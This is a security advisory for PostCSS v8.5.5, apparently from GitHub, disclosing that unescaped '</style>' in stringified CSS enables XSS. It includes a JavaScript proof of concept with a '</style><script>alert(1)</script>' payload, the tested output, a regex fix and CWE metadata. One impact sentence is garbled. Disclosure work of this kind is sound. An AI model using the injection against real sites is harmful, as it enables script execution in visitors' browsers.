</style> in CSS Stringify OutputPostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Tested output (Node.js v22, postcss v8.5.5):
Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Escape </style in all stringified output values:
output = output.replace(/<\/(style)/gi, '<\\/$1');
Discovered and reported by Sunil Kumar (@TharVid)
{
"cwe_ids": [
"CWE-79"
],
"nvd_published_at": "2026-04-24T03:16:11Z",
"severity": "MODERATE",
"github_reviewed_at": "2026-04-24T15:31:42Z",
"github_reviewed": true
}